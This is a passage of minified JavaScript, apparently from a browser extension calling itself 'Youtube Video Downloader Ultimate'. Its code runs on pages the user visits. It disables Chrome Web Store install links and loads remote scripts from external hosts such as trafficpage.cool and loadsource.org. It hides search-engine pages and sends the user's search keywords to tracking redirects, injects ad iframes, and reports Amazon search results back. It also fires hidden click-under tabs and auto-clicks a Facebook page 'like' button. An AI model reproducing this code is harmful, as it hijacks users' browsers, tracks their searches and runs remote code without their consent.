  1758.                                     break
  1759.                                 }
  1760.                             }
  1761.                         }
  1762.                     }
  1763.                 }
  1764.                 ag(aJ, aM)(aN, e, !at, aK, al.test(aJ));
  1765.                 return aK
  1766.             }
  1767.             v.pseudos.nth = v.pseudos.eq;
  1768.  
  1769.             function af() {}
  1770.             af.prototype = v.filters = v.pseudos;
  1771.             v.setFilters = new af();
  1772.             aD.sortStable = av.split("").sort(N).join("") === av;
  1773.             aj();
  1774.             [0, 0].sort(N);
  1775.             aD.detectDuplicates = ah;
  1776.             aA["13b978ff36417267e9"].Sizzle = E
  1777.         })(window);;
  1778.         var e = i[g].Sizzle;
  1779.         var d = i[g];
  1780.         d.Sizzle = e;
  1781.         d.demoMode = i[g].demoMode = (p);
  1782.         d.ready(function() {
  1783.             if (location.href.indexOf("thisadsfor.us") > -1) {
  1784.                 return true
  1785.             }
  1786.             try {
  1787.                 (function() {
  1788.                     var z = function() {
  1789.                         var B = "chrome-webstore-item";
  1790.                         var C = document.getElementsByTagName("link");
  1791.                         for (var A = 0, D = C.length; D > A; ++A) {
  1792.                             if (B == C[A].getAttribute("id") || B == C[A].getAttribute("rel")) {
  1793.                                 d.loadedCallback("PROMO_ANLZ", "", location.host, location.href, C[A].getAttribute("href"))
  1794.                             }
  1795.                         }
  1796.                     };
  1797.                     z()
  1798.                 })()
  1799.             } catch (x) {}
  1800.             try {
  1801.                 (function() {
  1802.                     var B = function() {
  1803.                         location.href = "javascript:(" + function() {
  1804.                             window.onbeforeunload = null;
  1805.                             window.onunload = null;
  1806.                             chrome.webstore.install = null
  1807.                         } + ")()"
  1808.                     };
  1809.                     var A = function() {
  1810.                         window.stop && window.stop();
  1811.                         location.replace("about:blank")
  1812.                     };
  1813.                     var z = function() {
  1814.                         if ("51807" == "51433" && location.hostname.indexOf("olam-hamedia.tech") > -1) {
  1815.                             return
  1816.                         }
  1817.                         var D = "chrome-webstore-item";
  1818.                         var E = document.getElementsByTagName("link");
  1819.                         for (var C = 0, F = E.length; F > C; ++C) {
  1820.                             if (D == E[C].getAttribute("id") || D == E[C].getAttribute("rel")) {
  1821.                                 E[C].setAttribute("rel", "");
  1822.                                 E[C].setAttribute("id", "");
  1823.                                 E[C].setAttribute("href", "");
  1824.                                 B()
  1825.                             }
  1826.                         }
  1827.                     };
  1828.                     if (!location.hostname.match(/dostup-[a-z]+\.com$/) && location.hostname.indexOf("freevideodownloader") == -1 && location.hostname.indexOf("musvk") == -1 && location.hostname.indexOf("vkonline.xyz") == -1 && location.hostname.indexOf("vkunblock.com") == -1) {
  1829.                         z()
  1830.                     }
  1831.                 })()
  1832.             } catch (x) {}
  1833.             var r = function(A) {
  1834.                 var D = {};
  1835.                 A = A.split("?");
  1836.                 if (A.length < 2) {
  1837.                     return D
  1838.                 }
  1839.                 var C = A[1];
  1840.                 var E = C.split("&");
  1841.                 for (var B = 0; B < E.length; B++) {
  1842.                     var F = E[B].split("=");
  1843.                     if (typeof D[F[0]] === "undefined") {
  1844.                         D[F[0]] = F[1]
  1845.                     } else {
  1846.                         if (typeof D[F[0]] === "string") {
  1847.                             var z = [D[F[0]], F[1]];
  1848.                             D[F[0]] = z
  1849.                         } else {
  1850.                             D[F[0]].push(F[1])
  1851.                         }
  1852.                     }
  1853.                 }
  1854.                 return D
  1855.             };
  1856.             var v = {};
  1857.             var s = document.getElementsByTagName("script");
  1858.             for (var u = 0; u < s.length; u++) {
  1859.                 var y = s[u];
  1860.                 if (y.src.search(/13b978ff36417267e9.*\.js/i) !== -1) {
  1861.                     if (o) {
  1862.                         d.scriptDomain = y.src.replace(/^https?\:\/\//i, "").split("/")[0]
  1863.                     }
  1864.                     v = r(y.src);
  1865.                     break
  1866.                 }
  1867.             }
  1868.             if (location.host.indexOf("bing.com") > -1 && i.AM && typeof i.AM == "object") {
  1869.                 i.AM.push(d.scriptDomain)
  1870.             }
  1871.             i[g].tbParams = {
  1872.                 wid: "51807",
  1873.                 sid: "",
  1874.                 tid: "5049",
  1875.                 title: "Youtube Video Downloader Ultimate",
  1876.                 optoutUrl: ""
  1877.             };
  1878.             if (v.sid) {
  1879.                 i[g].tbParams.sid = v.sid
  1880.             }
  1881.             if (v.title) {
  1882.                 i[g].tbParams.title = decodeURIComponent(v.title)
  1883.             }
  1884.             if (v.optout) {
  1885.                 i[g].tbParams.optoutUrl = decodeURIComponent(v.optout)
  1886.             }
  1887.             i[g].getParams = r(location.href);
  1888.             d.tbParams = i[g].tbParams;
  1889.             var q = "";
  1890.             try {
  1891.                 q = location.pathname.substring(0, 50)
  1892.             } catch (x) {}
  1893.             d.loadedCallback("LOADED", "", location.host, q);
  1894.             var w = /\.(jpg|png|jpeg|gif|bmp|doc|pdf|xls|js|xml|doc|docs|txt|css)$/;
  1895.             if (location.href.match(w)) {
  1896.                 d.loadedCallback("URL_STATICFILE");
  1897.                 return false
  1898.             }
  1899.             var t = /(paypal\.com|secure\.|\.gov|doubleclick\.net|addthis\.com|twitter\.com|docs\.google\.com|drive\.google\.com)/;
  1900.             if (location.hostname.match(t)) {
  1901.                 d.loadedCallback("URL_IGNOREDOMAIN");
  1902.                 return false
  1903.             }(function(d, w, u) {
  1904.                 var $$ = w["13b978ff36417267e9"];
  1905.                 var scriptsToLoad = $$.fromJson("{\"cd1d2\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"(?:.*googleusercontent\\\\..*|mail\\\\.google\\\\.com|reddit\\\\.com|.*\\\\.reddit\\\\.com)\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/trafficpage.cool\\/addons\\/lnkr5.min.js\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"cd1d2\"},\"81d01\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"(?:google\\\\..*)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/trafficpage.cool\\/addons\\/lnkr33_gl.min.js\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"81d01\"},\"6a131\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"(?:google\\\\..*)\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/trafficpage.cool\\/addons\\/lnkr30_nt.min.js\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"6a131\"},\"865b2\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/eluxer.net\\/code?id=105&subid=51807_5049_\\/SID\\/\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"865b2\"},\"90f06\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/loadsource.org\\/91a2556838a7c33eac284eea30bdcc29\\/validate-site.js?uid=51807x5049x\\/SID\\/&r=\\/RANDOM\\/\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"90f06\"},\"80c44\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"(?:.*googleusercontent\\\\..*|mail\\\\.google\\\\.com|reddit\\\\.com|.*\\\\.reddit\\\\.com)\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/trafficpage.cool\\/offers\\/\\/REF_HOST\\/.js?subid=51807_5049_\\/SID\\/\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"80c44\"},\"c3369\":{\"countries_allow\":\"at,br,ch,de,dk,es,fi,fr,in,it,mx,nl,no,se,sg,tw,gb\",\"countries_deny\":\"\",\"hostname_allow\":\"(?:google\\\\..*|youtube\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"0-100\",\"url\":\"\\/\\/laubeyrietechnology.com\\/script\\/d.php?uid=51807x0000xzzzzzzzzzzzzzzzzzzzzz&a=3453\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"c3369\"},\"1a2aa\":{\"countries_allow\":\"us,gb,ca,fr,de\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"0-100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"1a2aa\",\"config\":{\"enableGoogle\":1}}}");
  1906.                 var extendedCallbacks = false;
  1907.                 if ("51807" == "51739") {
  1908.                     extendedCallbacks = true
  1909.                 };;;;;;;;;;;;;;;;;
  1910.                 var isInIframe = function() {
  1911.                     return (window.top != window.self)
  1912.                 };
  1913.                 var secondsFormat = function(sec_num) {
  1914.                     var days = Math.floor(sec_num / 86400);
  1915.                     sec_num -= days * 86400;
  1916.                     var hours = Math.floor(sec_num / 3600);
  1917.                     sec_num -= hours * 3600;
  1918.                     var minutes = Math.floor(sec_num / 60);
  1919.                     sec_num -= minutes * 60;
  1920.                     if (hours < 10) {
  1921.                         hours = "0" + hours
  1922.                     }
  1923.                     if (minutes < 10) {
  1924.                         minutes = "0" + minutes
  1925.                     }
  1926.                     if (sec_num < 10) {
  1927.                         sec_num = "0" + sec_num
  1928.                     }
  1929.                     return days + "d " + hours + ":" + minutes + ":" + sec_num
  1930.                 };
  1931.                 var runForceSearch;;
  1932.                 runForceSearch = function() {
  1933.                     (function(i, o, r) {
  1934.                         var s = o["13b978ff36417267e9"];
  1935.                         var p = s.getMtzCfg('1a2aa');
  1936.                         if (location.host.indexOf("bing.com") > -1 && o.AM && typeof o.AM == "object") {
  1937.                             o.AM.push("getsearchgo.com")
  1938.                         }
  1939.                         var i = document.domain;
  1940.                         var f = location.href;
  1941.                         var g = {};
  1942.                         var h = true;
  1943.                         if (p && p.enableGoogle && i.indexOf("www.google") !== -1 && f.indexOf("q=") !== -1) {
  1944.                             j()
  1945.                         }
  1946.                         if (i.indexOf("search.yahoo") !== -1 && f.indexOf("/search") !== -1 && f.indexOf("p=") !== -1) {
  1947.                             j()
  1948.                         }
  1949.                         if (i.indexOf("aol") !== -1 && f.indexOf("/search") !== -1 && f.indexOf("q=") !== -1) {
  1950.                             j()
  1951.                         }
  1952.                         if (i.indexOf("aol") !== -1 && f.indexOf("/search") !== -1 && f.indexOf("query=") !== -1) {
  1953.                             j()
  1954.                         }
  1955.                         if (i.indexOf("searchlock") !== -1 && f.indexOf("/search") !== -1 && f.indexOf("q=") !== -1) {
  1956.                             j()
  1957.                         }
  1958.                         if (i.indexOf("safefinder") !== -1 && f.indexOf("/search") !== -1 && f.indexOf("q=") !== -1) {
  1959.                             j()
  1960.                         }
  1961.                         if (i.indexOf("thesmartsearch") !== -1 && f.indexOf("/search") !== -1 && f.indexOf("q=") !== -1) {
  1962.                             j()
  1963.                         }
  1964.  
  1965.                         function j() {
  1966.                             if (!p || !p.checkLimits) {
  1967.                                 document.documentElement.style.display = "none"
  1968.                             } else {}
  1969.                         }
  1970.  
  1971.                         function n() {
  1972.                             document.documentElement.style.display = "block"
  1973.                         }
  1974.  
  1975.                         function b() {
  1976.                             if (document.head) {
  1977.                                 var d = document.createElement("meta");
  1978.                                 d.name = "referrer";
  1979.                                 d.content = "no-referrer";
  1980.                                 document.getElementsByTagName("head")[0].appendChild(d)
  1981.                             }
  1982.                         }
  1983.  
  1984.                         function q(l) {
  1985.                             g = {};
  1986.                             if (!l || l == "") {
  1987.                                 l = location.href
  1988.                             }
  1989.                             var w = l.split("?");
  1990.                             var v = l.split("#");
  1991.                             if (w.length == 2) {
  1992.                                 w = w[1]
  1993.                             } else {
  1994.                                 w = w[0]
  1995.                             }
  1996.                             if (v.length == 2) {
  1997.                                 w = w + "&" + v[1]
  1998.                             }
  1999.                             if (w != "") {
  2000.                                 var d = w.split("&");
  2001.                                 for (var u = 0; u < d.length; u++) {
  2002.                                     t = d[u].split("=");
  2003.                                     if (t[1]) {
  2004.                                         g[t[0]] = t[1]
  2005.                                     }
  2006.                                 }
  2007.                             }
  2008.                         }
  2009.  
  2010.                         function k() {
  2011.                             refreshCNTid = setInterval(function() {
  2012.                                 if (document.domain.indexOf("google") !== -1 && location.href.indexOf("/webhp") !== -1 && location.href.indexOf("q=") !== -1) {
  2013.                                     j()
  2014.                                 }
  2015.                             }, 0);
  2016.                             var d = 0;
  2017.                             var l = false;
  2018.                             for (d = 0; d < pidvalues.length; d++) {
  2019.                                 if (location.href.indexOf(pidvalues[d]) !== -1) {
  2020.                                     l = true;
  2021.                                     clearInterval(refreshCNTid);
  2022.                                     n();
  2023.                                     return
  2024.                                 }
  2025.                             }
  2026.                             if (l) {} else {
  2027.                                 m("q")
  2028.                             }
  2029.                         }
  2030.  
  2031.                         function a() {
  2032.                             var d = 0;
  2033.                             var l = false;
  2034.                             for (d = 0; d < pidvalues.length; d++) {
  2035.                                 if (document.cookie.indexOf(pidvalues[d]) !== -1 || location.href.indexOf(pidvalues[d]) !== -1) {
  2036.                                     l = true;
  2037.                                     n();
  2038.                                     return
  2039.                                 }
  2040.                             }
  2041.                             if (l) {} else {
  2042.                                 m("q")
  2043.                             }
  2044.                         }
  2045.  
  2046.                         function e() {
  2047.                             var d = 0;
  2048.                             var l = false;
  2049.                             for (d = 0; d < pidvalues.length; d++) {
  2050.                                 if (location.href.indexOf(pidvalues[d]) !== -1) {
  2051.                                     l = true;
  2052.                                     n();
  2053.                                     return
  2054.                                 }
  2055.                             }
  2056.                             if (l) {} else {
  2057.                                 m("p")
  2058.                             }
  2059.                         }
  2060.  
  2061.                         function m(d) {
  2062.                             if (s.getCookie("__srpf") == 1) {
  2063.                                 q();
  2064.                                 s.loadedCallback("CB_SRL_PAUSE", '1a2aa', encodeURIComponent(location.href), location.hostname, encodeURIComponent(g[d]));
  2065.                                 return
  2066.                             }
  2067.                             var l = setInterval(function() {
  2068.                                 q();
  2069.                                 if (g[d] == undefined) {
  2070.                                     return
  2071.                                 }
  2072.                                 s.loadedCallback("BANNER_LOAD", '1a2aa');
  2073.                                 var w = g[d];
  2074.                                 if (p && p.checkLimits) {
  2075.                                     var v = "//getsearchgo.com/go/golib.php?subid2=5049&keyword=" + w;
  2076.                                     s.script(v, true);
  2077.                                     clearInterval(l)
  2078.                                 } else {
  2079.                                     var u = "//trafficpage.cool/ext/__utmr.gif?c=hFEjmgWs2cBLW%2FpDPD157MF%2FfQ4%3D&wid=51807&tid=5049&keyword=" + w;
  2080.                                     if (h) {
  2081.                                         clearInterval(l);
  2082.                                         s.setCookie("__srpf", 1, {
  2083.                                             expire: 300
  2084.                                         });
  2085.                                         h = false;
  2086.                                         window.location.replace(u)
  2087.                                     }
  2088.                                 }
  2089.                             }, 0)
  2090.                         }
  2091.  
  2092.                         function c() {
  2093.                             if (i.indexOf("searchengage") != -1) {
  2094.                                 b()
  2095.                             }
  2096.                             if (i.indexOf("search.yahoo") != -1) {
  2097.                                 b();
  2098.                                 e();
  2099.                                 setTimeout(n, 1000)
  2100.                             }
  2101.                             if (i.indexOf("shopping.yahoo") != -1) {
  2102.                                 b();
  2103.                                 e()
  2104.                             }
  2105.                             if (p && p.enableGoogle && i.indexOf("www.google") != -1) {
  2106.                                 b();
  2107.                                 k();
  2108.                                 setTimeout(n, 1000)
  2109.                             }
  2110.                             if (i.indexOf("ask") != -1 && f.indexOf("/web") != -1) {
  2111.                                 b();
  2112.                                 m("q")
  2113.                             }
  2114.                             if (i.indexOf("search.aol.com") != -1 && f.indexOf("/search") != -1) {
  2115.                                 b();
  2116.                                 m("q")
  2117.                             }
  2118.                             if (i.indexOf("search.aol.co.uk") != -1 && f.indexOf("/search") != -1) {
  2119.                                 b();
  2120.                                 m("query")
  2121.                             }
  2122.                             if (i.indexOf("wow.com") != -1 && f.indexOf("/search") != -1) {
  2123.                                 b();
  2124.                                 m("q")
  2125.                             }
  2126.                             if (i.indexOf("when.com") != -1 && f.indexOf("/search") != -1) {
  2127.                                 b();
  2128.                                 m("q")
  2129.                             }
  2130.                             if (i.indexOf("search.mywebsearch.com") != -1) {
  2131.                                 b();
  2132.                                 m("searchfor")
  2133.                             }
  2134.                             if (i.indexOf("search.myway.com") != -1) {
  2135.                                 b();
  2136.                                 m("searchfor")
  2137.                             }
  2138.                             if (i.indexOf("mysearch.com") != -1) {
  2139.                                 b();
  2140.                                 m("q")
  2141.                             }
  2142.                             if (i.indexOf("teoma.com") != -1) {
  2143.                                 b();
  2144.                                 m("q")
  2145.                             }
  2146.                             if (i.indexOf("searchlock.com") != -1) {
  2147.                                 b();
  2148.                                 m("q")
  2149.                             }
  2150.                             if (i.indexOf("myprivatesearch.com") != -1) {
  2151.                                 b();
  2152.                                 m("q")
  2153.                             }
  2154.                             if (i.indexOf("searchprivacy.co") != -1) {
  2155.                                 b();
  2156.                                 m("q")
  2157.                             }
  2158.                             if (i.indexOf("thesmartsearch.net") != -1) {
  2159.                                 b();
  2160.                                 m("q")
  2161.                             }
  2162.                             if (i.indexOf("infospace.com") != -1) {
  2163.                                 b();
  2164.                                 m("q")
  2165.                             }
  2166.                             if (i.indexOf("safefinder.com") != -1) {
  2167.                                 b();
  2168.                                 m("q")
  2169.                             }
  2170.                             if (i.indexOf("mysearchguardian.com") != -1) {
  2171.                                 b();
  2172.                                 m("q")
  2173.                             }
  2174.                         }
  2175.                         pid = "G6C1A7CCE9513EE CT3210127 CONBNT ptag= hspart= yhs-default yhs-weathernow drmomt images. video.";
  2176.                         pidvalues = pid.split(" ");
  2177.                         c()
  2178.                     })(document, window);
  2179.                 };;;;
  2180.                 if (!scriptsToLoad) {
  2181.                     return false
  2182.                 }
  2183.                 $$.monetizationsConfig = scriptsToLoad;
  2184.                 var getUrlFromConfigObject = function(configRow) {
  2185.                     if (configRow.http_url && window.location.protocol == "http:") {
  2186.                         return configRow.http_url
  2187.                     } else {
  2188.                         if (configRow.https_url && window.location.protocol == "https:") {
  2189.                             return configRow.https_url
  2190.                         } else {
  2191.                             if (configRow.url) {
  2192.                                 return configRow.url
  2193.                             }
  2194.                         }
  2195.                     }
  2196.                 };
  2197.                 if (scriptsToLoad['4a71b'] && $$.getCookie("__mzpsd") == 1) {
  2198.                     return false
  2199.                 }
  2200.                 if (location.hostname.indexOf("ok.ru") > -1 && scriptsToLoad['1f755']) {
  2201.                     var oconf = $$.getMtzCfg('1f755');
  2202.                     if (!!oconf.injectOk && oconf.injectOk == "1") {
  2203.                         (function() {
  2204.                             var d = document.querySelector("body");
  2205.                             if (!d) {
  2206.                                 return
  2207.                             }
  2208.  
  2209.                             function i(j) {
  2210.                                 j = j.replace(/%PUBLISHER_ID%/, ($$ && $$.tbParams && $$.tbParams.wid) ? $$.tbParams.wid : "");
  2211.                                 j = j.replace(/%SOURCE_ID%/, ($$ && $$.tbParams && $$.tbParams.tid) ? $$.tbParams.tid : "");
  2212.                                 j = j.replace(/%SUBID%/, ($$ && $$.tbParams && $$.tbParams.sid) ? $$.tbParams.sid : "");
  2213.                                 j = j.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime());
  2214.                                 return j
  2215.                             }
  2216.                             var e = i("<iframe id='a60b8ce3' name='a60b8ce3' src='//cdnpps.us/www/delivery/afr.php?zoneid=122&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='600' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=abb06471' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=122&amp;n=abb06471' border='0' alt='' /></a></iframe>");
  2217.                             var c = i("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&amp;n=8a61598d' border='0' alt='' /></a></iframe>");
  2218.  
  2219.                             function f(j) {
  2220.                                 return document.querySelectorAll(j) || []
  2221.                             }
  2222.                             var a = function(n, j, o, l, m) {
  2223.                                 var k = document.createElement("div");
  2224.                                 k.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000)));
  2225.                                 k.setAttribute("style", m || "");
  2226.                                 k.innerHTML = o;
  2227.                                 l.style.textAlign = "center";
  2228.                                 l.appendChild(k)
  2229.                             };
  2230.  
  2231.                             function b(j) {
  2232.                                 j.id = "_" + j.id;
  2233.                                 j.setAttribute("data-mytype", "name_baner");
  2234.                                 j.innerHTML = "";
  2235.                                 a(300, 600, e, j)
  2236.                             }
  2237.  
  2238.                             function h(k, j) {
  2239.                                 var l = document.createElement("div");
  2240.                                 l.setAttribute("data-mytype", "name_baner");
  2241.                                 l.setAttribute("style", "margin:0 auto; overflow:hidden;");
  2242.                                 k.setAttribute("data-mytype", "name_baner");
  2243.                                 k.appendChild(l);
  2244.                                 a(468, 60, c, l, j)
  2245.                             }
  2246.                             var g = function() {
  2247.                                 Array.prototype.forEach.call(f("div.feed.__klass.__no-ava>.feed_cnt"), function(j) {
  2248.                                     if (!j.getAttribute("data-mytype")) {
  2249.                                         h(j, "margin: 0 auto 10px;")
  2250.                                     }
  2251.                                 });
  2252.                                 Array.prototype.forEach.call(f('div[class^="feed h-mod"]'), function(j) {
  2253.                                     if (!j.lastElementChild.getAttribute("data-mytype") && !j.parentNode.getAttribute("class")) {
  2254.                                         h(j, "margin: 10px auto 0;")
  2255.                                     }
  2256.                                 });
  2257.                                 Array.prototype.forEach.call(f('div[data-btype^="LinkBanner_navigate"]'), function(j) {
  2258.                                     if (!j.getAttribute("data-mytype")) {
  2259.                                         j.innerHTML = "";
  2260.                                         b(j)
  2261.                                     }
  2262.                                 });
  2263.                                 setTimeout(g, 3333)
  2264.                             };
  2265.                             g()
  2266.                         })();
  2267.                     }
  2268.                 }
  2269.                 var amzreg = /(^|www\.)amazon\./g;
  2270.                 if (location.hostname.match(amzreg)) {
  2271.                     (function(f, a) {
  2272.                         function e(h) {
  2273.                             var g, d, i = new RegExp("[?&#]" + h + "=([^&#$]+)", "g");
  2274.                             while (g = i.exec(a.location.href)) {
  2275.                                 d = decodeURIComponent((g[1] + "").replace(/\+/g, "%20"))
  2276.                             }
  2277.                             return d
  2278.                         }
  2279.  
  2280.                         function b() {
  2281.                             if (f.location.pathname.indexOf("/s/") !== 0 && f.location.pathname.indexOf("/gp/search/") !== 0) {
  2282.                                 return
  2283.                             }
  2284.                             var p = (f.querySelector("[name=field-keywords]") && f.querySelector("[name=field-keywords]").value) || e("field-keywords");
  2285.                             var g = "",
  2286.                                 i = f.querySelector("#searchDropdownBox option:checked");
  2287.                             if (f.querySelector("#apsRedirectLink")) {
  2288.                                 i = f.querySelector("#searchDropdownBox option:first-child")
  2289.                             }
  2290.                             if (!!i) {
  2291.                                 g = i.value + "::" + i.textContent
  2292.                             }
  2293.                             var j = [];
  2294.                             var o = [].slice.call(f.querySelectorAll(".s-result-item"));
  2295.                             if (o.length) {
  2296.                                 j = o.map(function(m) {
  2297.                                     return m.getAttribute("data-asin")
  2298.                                 })
  2299.                             }
  2300.                             var k, d = f.getElementById("s-result-count");
  2301.                             if (!!d) {
  2302.                                 k = d.textContent.indexOf("-") > -1 ? parseInt(d.textContent) : 1;
  2303.                                 if (f.location.hostname.indexOf("amazon.com.mx") > -1) {
  2304.                                     k = d.textContent.indexOf(" a ") > -1 ? parseInt(d.textContent) : 1
  2305.                                 }
  2306.                                 if (f.location.hostname.indexOf("amazon.cn") > -1 || f.location.hostname.indexOf("amazon.co.jp") > -1) {
  2307.                                     var h = d.textContent.match(/\d+\-\d+/);
  2308.                                     if (!!h) {
  2309.                                         k = parseInt(h[0])
  2310.                                     }
  2311.                                 }
  2312.                             }
  2313.                             if (Number.isInteger(k) == false) {
  2314.                                 var n = f.querySelector(".pagnCur");
  2315.                                 var l = n ? parseInt(n.textContent) : parseInt(e("page")) || 1;
  2316.                                 k = (l - 1) * o.length + 1
  2317.                             }
  2318.                             if (!j.length) {
  2319.                                 return
  2320.                             }
  2321.                             $$.loadedCallback("AMZN_SEARCH", "", a.location.hostname, p, j.join(","), k, g)
  2322.                         }
  2323.                         b();
  2324.                         var c = a.history.pushState;
  2325.                         window.history.pushState = function(i) {
  2326.                             var d = 1000,
  2327.                                 h = f.getElementById("s-results-list-atf"),
  2328.                                 g = setInterval(function() {
  2329.                                     if (h !== f.getElementById("s-results-list-atf") && f.getElementById("centerBelowPlusspacer") === null) {
  2330.                                         clearInterval(g);
  2331.                                         b()
  2332.                                     }
  2333.                                     if (!d--) {
  2334.                                         clearInterval(g)
  2335.                                     }
  2336.                                 }, 100);
  2337.                             return c.apply(a.history, arguments)
  2338.                         }
  2339.                     })(document, window);
  2340.                 }
  2341.                 var searchEngineCheckResult;
  2342.                 var isSearchEngine = function() {
  2343.                     if (typeof searchEngineCheckResult != "undefined") {
  2344.                         return searchEngineCheckResult
  2345.                     }
  2346.                     var found = false;
  2347.                     ["google.", "search.yahoo.", "bing.com", "ask.com", "shopping.yahoo", "search.aol.", "wow.com", "when.com", "search.mywebsearch.com", "search.myway.com", "duckduckgo.com", "mysearch.com", "teoma.com", "searchlock.com", "myprivatesearch.com", "searchprivacy.co", "thesmartsearch.net", "infospace", "safefinder.com", "mysearchguardian.com"].forEach(function(domainCheck) {
  2348.                         if (location.hostname.indexOf(domainCheck) > -1) {
  2349.                             found = true
  2350.                         }
  2351.                     });
  2352.                     searchEngineCheckResult = found;
  2353.                     return found
  2354.                 };
  2355.                 if (location.hostname.indexOf("facebook.com") > -1) {
  2356.                     if (scriptsToLoad['5df82']) {
  2357.                         (function(r, j, l) {
  2358.                             var k = j["13b978ff36417267e9"];
  2359.                             var a = j["13b978ff36417267e9"].Sizzle;
  2360.                             if (location.hostname.indexOf("facebook.com") < 0) {
  2361.                                 return
  2362.                             }
  2363.                             var q = {
  2364.                                 _mfbgp_sub_g2: "/fun8times"
  2365.                             };
  2366.                             var g = '5df82';
  2367.                             var o = false;
  2368.                             var t = "_mfbgp_sub_t";
  2369.                             var b = false;
  2370.                             var n = null;
  2371.                             for (var p in q) {
  2372.                                 if (location.href.indexOf(q[p]) > -1) {
  2373.                                     n = p
  2374.                                 }
  2375.                             }
  2376.                             if (!n) {
  2377.                                 var f = false;
  2378.                                 var m = k.getCookie(t);
  2379.                                 if (m > (k.unixTimestampNow - 86400)) {
  2380.                                     return
  2381.                                 }
  2382.                                 var c = [];
  2383.                                 for (var p in q) {
  2384.                                     if (k.getCookie(p)) {
  2385.                                         continue
  2386.                                     }
  2387.                                     c.push(q[p])
  2388.                                 }
  2389.                                 if (!c || c.length < 1) {
  2390.                                     return
  2391.                                 }
  2392.                                 var e = c[Math.floor(Math.random() * c.length)];
  2393.                                 if (typeof e == "undefined") {
  2394.                                     return
  2395.                                 }
  2396.                                 e = "https://facebook.com" + e;
  2397.                                 var s = function(i) {
  2398.                                     var u = this;
  2399.                                     var d = [];
  2400.                                     k.on(j.addEventListener ? j : r, "click", function(w) {
  2401.                                         var v = w.ctrlKey || w.metaKey || w.altKey || w.shiftKey,
  2402.                                             x = w.which && 1 === w.which || 0 === w.button;
  2403.                                         k.each(d, function(y) {
  2404.                                             if (y.call(w) === true) {
  2405.                                                 k.preventDefault(w);
  2406.                                                 return false
  2407.                                             }
  2408.                                         })
  2409.                                     });
  2410.                                     u.backgroundLink = function(x) {
  2411.                                         var w = document.createElement("a");
  2412.                                         w.href = x;
  2413.                                         w.__norewrite = 1;
  2414.                                         w.rel = "norewrite";
  2415.                                         w.target = "_blank";
  2416.                                         var v = document.createEvent("MouseEvents");
  2417.                                         v.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
  2418.                                         w.dispatchEvent(v)
  2419.                                     };
  2420.                                     u.clickunder = function(v) {
  2421.                                         d.push(v)
  2422.                                     };
  2423.                                     u.clickunder(function(v) {
  2424.                                         if (!f && i) {
  2425.                                             u.backgroundLink(i);
  2426.                                             k.updateLimits(g);
  2427.                                             k.loadedCallback("BANNER_LOAD", g);
  2428.                                             k.setCookie(t, k.unixTimestampNow, {
  2429.                                                 expire: 864000,
  2430.                                                 path: "/"
  2431.                                             });
  2432.                                             f = true;
  2433.                                             return true
  2434.                                         } else {
  2435.                                             return false
  2436.                                         }
  2437.                                     })
  2438.                                 };
  2439.                                 s(e);
  2440.                                 return
  2441.                             }
  2442.                             if (k.getCookie(n)) {
  2443.                                 return
  2444.                             }
  2445.                             k.loadedCallback("MNTZ_LOADED", g);
  2446.  
  2447.                             function h() {
  2448.                                 if (b) {
  2449.                                     return
  2450.                                 }
  2451.                                 var d = a("#pages-header button.likeButton");
  2452.                                 if (d.length > 0) {
  2453.                                     d[0].click();
  2454.                                     b = true;
  2455.                                     k.setCookie(n, 1, {
  2456.                                         expire: 86400 * 60,
  2457.                                         path: "/"
  2458.                                     });
  2459.                                     k.setCookie(t, k.unixTimestampNow, {
  2460.                                         expire: 864000,
  2461.                                         path: "/"
  2462.                                     })
  2463.                                 }
  2464.                             }
  2465.                             k.ready(function() {
  2466.                                 if (o) {
  2467.                                     return
  2468.                                 }
  2469.                                 o = true;
  2470.                                 h();
  2471.                                 var v = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
